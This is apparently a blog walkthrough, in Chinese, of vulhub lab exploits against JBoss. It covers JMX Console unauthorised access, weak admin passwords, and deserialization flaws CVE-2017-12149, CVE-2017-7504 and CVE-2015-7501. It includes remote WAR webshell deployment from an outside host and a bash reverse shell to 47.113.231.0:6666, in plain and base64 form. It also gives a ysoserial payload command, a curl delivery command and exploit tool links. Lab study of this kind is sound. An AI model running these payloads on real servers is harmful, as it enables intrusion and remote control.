当前位置: 首页 > article >正文

vulhub Jboss 漏洞攻略

一:Jboss 低版本JMX Console未授权(CVE-2017-7504 )

漏洞描述

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到 jmx控制台,并在其中执⾏任何功能。

影响范围

Jboss4.x以下

环境搭建

cd vulhub-master/jboss/CVE-2017-7504

docker-compose up -d

漏洞复现

1.访问

http://172.16.1.78:8080/jmx-console/

2.这⾥我们使⽤得复现环境不存在,所以需要密码(正常环境⽆需密码直接可进⼊)

admin admin

11d8e8c7243641af8010ed4e9eb2c6cd.png

3.然后找到jboss.deployment (jboss ⾃带得部署功能) 中的flavor=URL,type=DeploymentScanner点进去(通过URL的⽅式远程部署)

99088ed5b862443fa335fff0961f3138.png

4.找到⻚⾯中的void addURL() 选项远程加载war包来部署。

c0ee5c27b8d442fda195529419de9cfc.png

5.制作war包 填写war包远程地址

http://47.113.231.0/shw.war

40b1a167e07449f59ce7f6cc92fe36aa.png

6.webshell连接

http://172.16.1.78:8080/shw/shell.jsp

a34639361008496db9110b6cf27f1a97.png

二:Jboss ⾼版本JMX Console未授权(CVE-2017-12149 )

漏洞描述

JMX Console默认存在未授权访问,直接点击JBoss主⻚中的 JMX Console 链接进⼊JMX Console⻚⾯, 通过部署war包 , getshell

影响版本

Jboss6.x以下

环境搭建

cd vulhub-master/jboss/CVE-2017-12149

docker-compose up -d

漏洞复现

http://172.16.1.81:8080/jmx-console/

因为使⽤环境不存在该漏洞所以需要输⼊账户密码:admin vulhub

f0f356cec4e1487e92f2ed354aa2a7f7.png

1.本地搭建部署点

在JMX Console⻚⾯点击jboss.system链接,在Jboss.system⻚⾯中点击service=MainDeployer,如下

a672b52ec75a4734882f3709d77b8ad6.png

2.进⼊service=MainDeployer⻚⾯之后,找到methodIndex为17或19的deploy 填写远程war包地址进⾏远程部署

1c6458ed7e6546838807d31e7b5e19ee.png

3.搭建远程部署 , 部署远程war包地址

0979859a5e804c42aad159f623d4c96f.png

4.输⼊Invoke

http://47.113.231.0/shw.war

2a36de2f52ea4b128807311b9af5c0bb.png

点击Invoke

6003730fcddc412dbb49abff2f043460.png

5.连接Webshell

http://172.16.1.78:8080/shw/shell.jsp

2d7847af7a22418282fd4d4da426d6d2.png

三:Jboss Administration Console弱⼝令(CVE-2017-12149 )

漏洞描述

Administration Console管理⻚⾯存在弱⼝令,`admin:admin`,登陆后台上传war包 , getshell

影响版本

全版本

环境搭建

因为这⾥⽤的环境是CVE-2017-12149的靶机

cd vulhub-master/jboss/CVE-2017-12149

docker-compose up -d

密码⽂件

/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties

账户密码:admin:vulhub

漏洞复现

http://172.16.1.81:8080/admin-console/login.seam

00545fb89b874353ac589201b1b3cfe9.png

1.登录后台

admin vulhub

0ec1fcd6f5124c6da80b16242063799b.png

2.点击web应⽤

9daa72cc157e4837965089e2699b1797.png

3.上传后⻔ shell.war

19b36d1e711b478f8a6b8f562f04db3e.png

7c0bf69b1085449e88e0273416f8834f.png

96b91e9dcf024bd989481638fcf59aa3.png

4.连接WebShell

http://172.16.1.81:8080/shell/shell.jsp

ac15d58f3dad4d41a58f0ea3a8e962d6.png

四:Jboss CVE-2017-12149

漏洞简述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进⾏任何安全检查的情况下尝试将来⾃客户端的数据流进⾏反序列化,从⽽导致了漏洞

漏洞范围

JBoss 5.x/6.x

环境搭建

cd vulhub-master/jboss/CVE-2017-12149

docker-compose up -d

漏洞复现

1.访问漏洞⻚⾯

ddb0bc4f001d41538e2a21396fa1054c.png

2.验证是否存在漏洞 , 访问

http://172.16.1.81:8080/invoker/readonly

该漏洞出现在/invoker/readonly中 ,服务器将⽤户post请求内容进⾏反序列化

c91a52e233db49d1a42da54242b31252.png

返回500,说明⻚⾯存在,此⻚⾯存在反序列化漏洞

3. 使⽤⼯具进⾏检测 DeserializeExploit 如果成功直接上传webshell即可:

⼯具:

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

也可以直接执⾏命令:https://github.com/yunxu1/jboss-_CVE-2017-12149

8f7adc79540a47e599f462d6ab0b2d01.png

五:Jboss CVE-2017-7504

漏洞介绍

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的

HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码执⾏

影响范围

JBoss 4.x 以及之前的所有版本

环境搭建

cd vulhub-master/jboss/CVE-2017-7504

docker-compose up -d

cf76ff4d37054ad2ba700a374103d38e.png

漏洞复现

1.访问漏洞地址

172.16.1.81:8080/jbossmq-httpil/HTTPServerILServlet

fc2241325f1b4d338c803251b028cf6d.png

2.获取shell

python3 jexboss.py -u http://172.16.1.81:8080/

78037c12056044e1be77061412d09faf.png

六:Jboss CVE-2015-7501

漏洞介绍

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了⽤户传⼊的对象,然后我们利⽤Apache Commons Collections中的 Gadget 执⾏任意代码

影响范围

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10

JBoss AS (Wildly) 6 and earlier

JBoss A-MQ 6.2.0

JBoss Fuse 6.2.0

JBoss SOA Platform (SOA-P) 5.3.1

JBoss Data Grid (JDG) 6.5.0

JBoss BRMS (BRMS) 6.1.0

JBoss BPMS (BPMS) 6.1.0

JBoss Data Virtualization (JDV) 6.1.0

JBoss Fuse Service Works (FSW) 6.0.0

JBoss Enterprise Web Server (EWS) 2.1,3.0

环境搭建

cd vulhub-master/jboss/JMXInvokerServlet-deserialization

docker-compose up -d

漏洞复现

http://172.16.1.78:8080/

e617eb7a9e66475399a12509dabd9e83.png

1.POC,访问地址

172.16.1.78:8080/invoker/JMXInvokerServlet

返回如下,说明接⼝开放,此接⼝存在反序列化漏洞

d030f5d9dd954203b06be4496c5ad8c0.png

2.下载 ysoserial ⼯具进⾏漏洞利⽤

https://github.com/frohoff/ysoserial

将反弹shell进⾏base64编码

bash -i >& /dev/tcp/47.113.231.0/6666 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMjMxLjAvNjY2NiAwPiYx

java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMjMxLjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}">exp.ser

726ad163c03648658244dc47b5e6b7d1.png

3.服务器设置监听得端⼝

nc -lvvp 6666

1582e5ce98fb4f18a100f1e3820ce23e.png

4.执⾏命令

curl 172.16.1.81:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

4ca379a447da4db382d1ffa9e42c5311.png

5.反弹成功

709d50e8800d4db1a5ffbc300551131b.png

 

 


http://www.kler.cn/a/325876.html

相关文章:

  • 如何在 Ubuntu 上安装 Jupyter Notebook
  • arkUI:网格布局(Grid)
  • 高斯数据库Postgresql死锁和锁表解决方法
  • django的model时间怎么转时间戳
  • 解决微信小程序自定义tabbar点击两次才能跳转
  • 第二十一周学习周报
  • 华为OD真题机试-英文输入法(Java)
  • MySQL9个连接:left join、inner join等
  • RabbitMQ常用管理命令及管理后台
  • 深度学习推理的技术实现与优化策略
  • 达梦数据库导入导出统计信息
  • 【tower-boot 系列】开源RocketMQ和阿里云rockerMq 4.x和5.x集成 (一)
  • C#中实现压缩包(如ZIP)的解压功能
  • 源2.0全面适配百度PaddleNLP,大模型开发开箱即用
  • 弹射型蜂群巡飞无人机技术详解
  • 光电开关应用设计讨论
  • 0x09 瑞友 应用虚拟化系统 GetBSAppUrl SQL注入漏洞 - 复现
  • 【学习笔记】手写 Tomcat 七
  • MySQL 8 临时关闭缓存
  • 安卓主板_MTK4G/5G音视频记录仪整机及方案定制
  • Python酷库之旅-第三方库Pandas(127)
  • ASPICE的商业价值:提升汽车软件开发竞争力与质量保障
  • Qt——如何创建一个项目
  • vulhub weblogic 靶场攻略
  • ElementPlus---Timeline 时间线组件使用示例
  • 分布式选举 - Paxos、Zab 和 Raft 选举协议的逐步优化与对比分析